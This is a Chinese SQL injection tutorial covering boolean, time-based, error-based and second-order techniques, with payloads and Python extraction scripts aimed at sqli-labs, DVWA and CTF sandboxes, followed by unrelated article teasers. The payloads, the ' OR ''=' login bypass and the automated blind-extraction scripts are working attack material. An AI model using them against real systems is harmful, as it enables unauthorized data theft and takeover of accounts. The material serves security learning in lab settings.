安全基础~通用漏洞2

news2024/10/1 9:39:59

文章目录

  • 知识补充
  • 盲注
    • Boolean盲注
    • 延时盲注
    • 报错注入
    • 二次注入

知识补充

盲注常用
if(条件,5,0) #条件成立 返回5 反之 返回0
left(database(),1),database() #left(a,b)从左侧截取a的前b位

盲注

盲注就是在注入过程中,获取的数据不能回显至前端页面。
基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid
-基于时间的SQL盲注-延时判断
if,sleep
-基于报错的SQL盲注-报错回显
floor,updatexml,extractvalue
参考:https://www.jianshu.com/p/bc35f8dd4f7c

PHP开发项目-输出结果&开启报错
基于延时:都不需要
/blog/news.php?id=1 and if(1=1,sleep(5),0)
基于布尔:有数据库输出判断标准
/blog/news.php?id=1 and length(database())=7
基于报错:有数据库报错处理判断标准
/blog/news.php?id=2 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

Boolean盲注

仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False

在爆库名时,手工爆库可以使用二分法来确定

1' and ascii(substr(database(),1,1))>97 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼤于 97(⼩写字母a的ascii值);
1' and ascii(substr(database(),1,1))<122 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 122(⼩写字母z的ascii值);
1' and ascii(substr(database(),1,1))<109 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 109(⼩写字母m的ascii值)
1' and ascii(substr(database(),1,1))<103 #,显⽰存在,说明数据库名的第⼀个字符的ascii值⼩于 103(⼩写字母g的ascii值);
1' and ascii(substr(database(),1,1))<100 #,显⽰不存在,说明数据库名的第⼀个字符的ascii值不 ⼩于100(⼩写字母d的ascii值);
1' and ascii(substr(database(),1,1))=100 #,显⽰存在,说明数据库名的第⼀个字符的ascii值等于100(⼩写字母d的ascii值),所以数据库名的第⼀个字符的ascii值为100,即⼩写字母d。
重复以上步骤直到得出完整的数据库名dvwa
1' and ascii(substr(database(),n,1))>100
... ...
这里以sqlabs靶场为例

通过length函数 判断数据库长度和数据表字段信息数量。
通过substr、ascii函数 判断数据库名、表名、字段值等。

求数据库的长度       
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database()) = 8 --+

判断数据库第一位的字母
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and substr(database(),1,1) = 's' --+

判断表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显⽰不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显⽰存在

求数据库中表名的长度
第一个表名长度:'and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6--+
第二个表名长度 'and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8--+
长度为68

查询第一个表的第一位字符
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=117--+

查询第二个表的第一个字符
'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=117--+

判断字段的长度
'and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=6--+‘

猜解第一个字段名的第一个字符为:u
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1))=117 #
判断第一个字段第二个字符的ascii:s
'and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=115--+

猜解第二个字段名的第一个字符为:f
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1,1))=102 #
猜解第二个字段名的第二个字符为:i
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),2,1))=105 #

猜解 dvwa.users 表下的 user 列的第一个字段内容为:a
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=97 # 
猜解 dvwa.users 表下的 user 列的第二个字段内容为:d
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=100 # 
猜解 dvwa.users 表下的 user 列的第三个字段内容为:m
1' and ascii(substr((select user from dvwa.users limit 0,1),1,1))=109 # 

# 暴力猜解
猜解 user 字段值是否为 admin
1' and (select count(*) from users where user = 'admin') = 1 #

延时盲注

判断返回正确还是错误,sleep延时注入更倾向于无法判断正误,通过自己构造页面刷新时间来判断正误。

可以结合 > < = 判断运算符,采用二分法,构造如下的语句,分别猜测试出8字符,比如,先用 > 50判断,如果成立,再用< 123 判断,如果不成立,则正确的值就在50-123之前,
这样不段的尝试最终用= 确定具体值。
?id=1and if ((ascii(substr(database(),1,1))>50),sleep(3),1)+
?id=1and if ((ascii(substr(database(),1,1))<123),sleep(3),1)+
?id=1and if ((ascii(substr(database(),1,1))=115),sleep(3),1)+
# 数据库个数
and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5))       如果数据库总数等于7响应时间为0秒,如果不等于7 相应时间为5# 数据库名长度
' and sleep(if((length(database()) = 8),0,5))--+     //当前数据库名长度为8

# 猜解数据库名
' and sleep(if((ord(mid(database(),1,1)) =115 ),0,5))--+    //ascii码115 就是 s

# 获取该数据库中表的总数
' and sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5))--+

# 枚举当前数据库的表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1))>n and sleep(3) --+
或者利用if函数
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit a,1),m,1)) >n,sleep(5),1) --+

枚举当前数据库表的字段名

1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit a,1),m,1))>n and sleep(3) --+

枚举每个字段对应的数据项内容

1' and ascii(substr((select username from security.users limit a,1),m,1))>n and sleep(3) --+

通常延时注入使用脚本进行,也可以使用sqlmap进行

 import requests
 import sys
 import time
 
 session=requests.session()
 url = "http://challenge-e53e5a329b0199fa.sandbox.ctfhub.com:10080/?id="
 name = ""
 
 for k in range(1,10):
     for i in range(1,10):
         print(i)
         for j in range(31,128):
             j = (128+31) -j
             str_ascii=chr(j)
             #数据库名
             payolad = "if(substr(database(),%s,1) = '%s',sleep(1),1)"%(str(i),str(str_ascii))
             #表名
             #payolad = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',sleep(1),1)" %(k,i,str(str_ascii))
             #字段名
             #payolad = "if(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='sqli'),%d,1) = '%s',sleep(1),1)" %(i,str(str_ascii))
             start_time=time.time()
             str_get = session.get(url=url + payolad)
             end_time = time.time()
             t = end_time - start_time
             if t > 1:
                 if str_ascii == "+":
                     sys.exit()
                 else:
                     name+=str_ascii
                     break
         print(name)
 
 # #查询字段内容
 # for i in range(1,50):
 #     print(i)
 #     for j in range(31,128):
 #         j = (128+31) -j
 #         str_ascii=chr(j)
 #         payolad = "if(substr((select flag from sqli.flag),%d,1) = '%s',sleep(1),1)" %(i,str_ascii)
 #         start_time = time.time()
 #         str_get = session.get(url=url + payolad)
 #         end_time = time.time()
 #         t = end_time - start_time
 #         if t > 1:
 #             if str_ascii == "+":
 #                 sys.exit()
 #             else:
 #                 name += str_ascii
 #                 break
 #     print(name)

脚本参考
讲解参考

报错注入

floor()函数报错注入原理:
selsct count(*) ,floor(rand(0)*2)xx from products group by xx

随机种子时固定的,所以产生的随机数也是固定的,floor(rand(0)*2,结果为011011

group by key 执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的 key 时,
如果 key 存在于临时表中,则更新临时表中的数据(更新数据时,不再计算 rand 值);如果
该 key 不存在于临时表中,则在临时表中插入 key 所在行的数据。(插入数据时,会再计算
rand 值)

简而言之,就是插入数据时,会再次出发rand()

爆出duplicate entry错误,就是1重复了。
such as
报错

①判断是否存在报错注入
id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x#

②爆出当前数据库名
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #

③爆出表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 1,1)) x from information_schema.schemata group by x#

④爆出字段名
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#
 改变limit限定数值,可以得出当前的字段 user_id first_name user password

⑤爆出user和password
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x#

SQL注入实战之报错注入

二次注入

堆叠注入:使用;执行多条语句,一般情况下不能够使用

攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
两次注入分别是插入恶意数据利用恶意数据

所以也就是满足这两个条件即可

  • 用户向数据库插入恶意数据,即使后端对语句做了转义,如mysql_escape_stringmysql_real_escape_string等函数
    <?php
    $item = "Zak's Laptop";
    $escaped_item = mysql_escape_string($item);
    printf("Escaped string: %s\n", $escaped_item);
    ?>		// Escaped string: Zak\'s Laptop
    
    <?php
    // We didn't check $_POST['password'], it could be anything the user wanted! For example:
    $_POST['username'] = 'aidan';
    $_POST['password'] = "' OR ''='";
    
    // Query database to check if there are any matching users
    $query = "SELECT * FROM users WHERE user='{$_POST['username']}' AND password='{$_POST['password']}'";
    mysql_query($query);
    
    // This means the query sent to MySQL would be:
    echo $query;	// SELECT * FROM users WHERE user='aidan' AND password='' OR ''=''
    ?>
    
  • 数据库能够将恶意数据取出
    TEST1
    注册账户那就去注册一下,这里直接注册admin’#
    TEST2
    用注册的账号登录进去后发现可以修改密码。
    test3

修改密码的语句应该类似

update users set password='$new_pass' where username='$user' and password='$old_pass';

注册一个这样的账号 admin’# 上述sql语句就变成这样

update users set password='$new_pass' where username='admin'# and password='$old_pass';

语句原义被破坏,本来修改的是admin’# 用户的账号和密码,现在却是变成了直接修改admin用户的密码!

那就随便输入个密码12345修改后再拿它去尝试登录admin账户,发现成功登入。
test4

网鼎杯 2018Unfinish

源码与此非常相似:https://www.beesfun.com/2017/03/28/MySQL注入系列之二次注入-三/

随便注册一个进行测试
在源码中发现了username的出现,应该会是二次注入
test1

Mysql 字符串运算

select '1' + '2'
# 3
select '1'+database()+'0';
#1
select '0'+hex(database())+'0';
#776562 -> web的16进制
select '0'+ascii(substr(database(),1,1))+'0';
#119 -> w的ascii码
select '0'+ascii(substr(database() from 1 for 1))+'0';
##119 -> w的ascii码

使用爬虫将源码中的username爬取出来,源码过滤了information,

import requests
import time
from bs4 import BeautifulSoup

def get_flag():
    flag = ''
    url = 'http://759d93aa-53fb-4d2e-8f93-99833fbe0ff2.node5.buuoj.cn:81/'
    register_url = url + 'register.php'
    login_url = url + 'login.php'
    for i in range(1, 100):
        time.sleep(0.5)
        #  "username" : "0'+ascii(substr(database() from {} for 1))+'0".format(i) 爆数据库
        register_data = {"email": "abc{}@qq.com".format(i),
                 "username": "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i), "password": "12345"}
        login_data = {"email": "abc{}@qq.com".format(i), "password": "12345"}
        requests.post(register_url, data=register_data)
        response_login = requests.post(login_url, data=login_data)
        bs = BeautifulSoup(response_login.text, 'html.parser') 
        username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性
        number = username.text  
        flag += chr(int(number))
        print("\r", end="")
        print(flag,end="")

if __name__ == '__main__':
    get_flag()

参考文章
Xpath注入

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1406896.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Oracle Linux 7.9 安装图解

风险告知 本人及本篇博文不为任何人及任何行为的任何风险承担责任&#xff0c;图解仅供参考&#xff0c;请悉知&#xff01;本次安装图解是在一个全新的演示环境下进行的&#xff0c;演示环境中没有任何有价值的数据&#xff0c;但这并不代表摆在你面前的环境也是如此。生产环境…

Ask for Power Apps 消失了?

Ask for Power Apps 消失了? 背景替换定义一个接收数组的参数1.我们新建一个Text接收参数取名为**Arrlist**.定义一个参数类型是Array 背景 今天才发现&#xff0c;我在flow中想向power apps索要一个参数&#xff0c;但是之前的Ask for Power Apps 这个触发器怎么也找不到了。…

【Vulnhub通关】Kioptrix:Level 1 (#1)

文章目录 准备工作靶机基本信息下载 渗透流程主机发现目标扫描服务探测HTTP(S)服务SMB文件共享服务 权限提升本次靶机测试到此结束 注意&#xff1a;本文转载自本人稀土掘金博客。博客地址&#xff1a;御坂19008号 的个人主页 - 动态 - 掘金 准备工作 靶机基本信息 靶机名称&a…

SUSE Linux 15 SP5 安装图解

风险告知 本人及本篇博文不为任何人及任何行为的任何风险承担责任&#xff0c;图解仅供参考&#xff0c;请悉知&#xff01;本次安装图解是在一个全新的演示环境下进行的&#xff0c;演示环境中没有任何有价值的数据&#xff0c;但这并不代表摆在你面前的环境也是如此。生产环境…

寒假思维训练day12 E. Increasing Subsequences

适合喜欢算法、对算法感兴趣的朋友。 今天又来更新啦&#xff0c;断更一天&#xff0c;有点摆了&#xff0c;今天继续补上&#xff0c;献上一道1800的构造。 摘要&#xff1a; part1&#xff1a;关于一些构造题的总结 part2: 每日一题: Problem - E - Codeforces (链接在此…

【XR806开发板试用】通过MQTT实现手机远程实现PWM控灯

本文参与极术社区的《基于安谋科技STAR-MC1的XR806开发板试用》活动。 一、例程编译、烧录确认 首先按照全志在线文档平台的点灯教程确保能正常编译、烧录和点灯&#xff1a;https://xr806.docs.aw-ol.com/study/soft_led/ 确保例程没问题后&#xff0c;我们再改造例程&#xf…

Java入门高频考查基础知识5(扎实技术基础应变一切变化-45题4.2万字参考答案)

技术变革裁员影响的因素&#xff1a; 自动化替代简单重复性工作&#xff1a;随着技术的发展&#xff0c;一些简单、重复性的编码任务可能被自动化工具或者机器学习算法取代。这可能导致一些岗位的需求减少或者消失&#xff0c;从而可能导致部分人员裁员。 技能更新要求&#x…

怎么移除WordPress后台工具栏“新建”菜单?如何添加“新建文章”菜单?

默认情况下&#xff0c;WordPress后台顶部管理工具栏有左侧有一个“新建”菜单&#xff0c;而且还有下拉菜单文章、媒体、链接、页面和用户等&#xff0c;不过我们平时用得最多的就是“新建文章”&#xff0c;虽然可以直接点击“新建”&#xff0c;或点击“新建 – 文章”&…

Spring5系列学习文章分享---第三篇(AOP概念+原理+动态代理+术语+Aspect+操作案例(注解与配置方式))

目录 AOP概念AOP底层原理AOP(JDK动态代理)使用 JDK 动态代理&#xff0c;使用 Proxy 类里面的方法创建代理对象**编写** **JDK** 动态代理代码 AOP(术语)AOP操作&#xff08;准备工作&#xff09;**AOP** **操作&#xff08;**AspectJ注解)**AOP** **操作&#xff08;**AspectJ…

c++ 包管理工具vcpkg

微软包管理工具 一、下载 git clone https://github.com/microsoft/vcpkg二、初始化 ./vcpkg/bootstrap-vcpkg.sh三、查看帮助文档 ./vcpkg/vcpkg help四、安装包 vcpkg/vcpkg install fmt五、查看安装包 vcpkg/vcpkg list输出 包实际安装路径 ./vcpkg/packages/fmt_x…

LoadRunner从零开始之走近LoadRunner

3.1 LoadRunner 的运行原理 安装LoadRunner 后&#xff0c;在菜单“开始” 一“MercuryLoadRunner” 中&#xff0c;你会看 到这样一组程序&#xff0c;如图 3-1 所示。 • 其中Applications 下面的Analysis、Controller 和Virtual User Generator 是我们 做性能测试最常用的…

大学生求职遇到在线测评 需要结合实际做吗

每年毕业季&#xff0c;都有大量的大学生求职&#xff0c;企业在这个时候往往能够收到很多的求职简历&#xff0c;尤其是一些比较好的岗位&#xff0c;原本只是想要招收10个人&#xff0c;但是结果光是简历就收到上千个简历&#xff0c;一个个面试不实际&#xff0c;浪费时间和…

猫用空气净化器哪些好?五款宠物空气净化推荐!

如今&#xff0c;养宠物的家庭越来越多了&#xff01;家里因此变得更加温馨&#xff0c;但同时也会带来一些问题&#xff0c;比如异味和空气中的毛发可能会对健康造成困扰。 为了避免家中弥漫着异味&#xff0c;特别是来自宠物便便的味道&#xff0c;一款能够处理家里异味的宠…

数字证书和数字证书认证机构和数字根证书,CA,RCA

文章目录 一、 数字证书1、什么是数字证书2、数字证书干什么的3、风险 二、数字证书认证机构&#xff08;Certificate Authority&#xff0c;缩写为CA&#xff09;参考文章 一、 数字证书 维基百科 公开密钥认证&#xff08;英语&#xff1a;Public key certificate&#xff…

Unity Text超框 文字滚动循环显示

Unity Text超框 文字滚动循环显示 //container Text using System.Collections; using System.Collections.Generic; using Unity.VisualScripting; using UnityEngine; using UnityEngine.UI;public class AutoScrollText : MonoBehaviour {private Text[] _texts new Text[…

项目难点和优化

难点: 对于同一个位置百度地图定位的经纬度和腾讯地图定位的经纬度不一样&#xff1f; 解决&#xff1a;由于两者所用的算法不同&#xff0c;计算出来的经纬度也是不一样的&#xff0c;将百度地图的经纬度转换成腾讯地图的经纬度/腾讯的经纬度转化百度的经纬度 export functi…

【超简版,代码可用!】【0基础Python爬虫入门——下载歌曲/视频】

安装第三方模块— requests 完成图片操作后输入&#xff1a;pip install requests 科普&#xff1a; get:公开数据 post:加密 &#xff0c;个人信息 进入某音乐网页&#xff0c;打开开发者工具F12 选择网络&#xff0c;再选择—>媒体——>获取URL【先完成刷新页面】 科…

环保投入超20亿,齐鲁制药集团争做绿色制药标杆

近期&#xff0c;由人民日报社指导、人民网主办的2023人民企业社会责任荣誉盛典暨第十八届人民企业社会责任奖颁奖活动在京举行&#xff0c;齐鲁制药集团荣获“人民企业社会责任奖绿色发展奖”。多年来&#xff0c;齐鲁制药深入践行“绿水青山就是金山银山”理念&#xff0c;积…

【Linux】Linux进程间通信

Linux进程间通信 一、进程间通信介绍1、概念2、进程间通信目的3、进程间通信的本质4、进程间通信分类 二、管道1、什么是管道2、匿名管道&#xff08;1&#xff09;匿名管道原理&#xff08;2&#xff09;pipe函数&#xff08;3&#xff09;匿名管道的使用步骤i、父进程调用pip…

SUSE Linux 12 SP5 安装图解

风险告知 本人及本篇博文不为任何人及任何行为的任何风险承担责任&#xff0c;图解仅供参考&#xff0c;请悉知&#xff01;本次安装图解是在一个全新的演示环境下进行的&#xff0c;演示环境中没有任何有价值的数据&#xff0c;但这并不代表摆在你面前的环境也是如此。生产环境…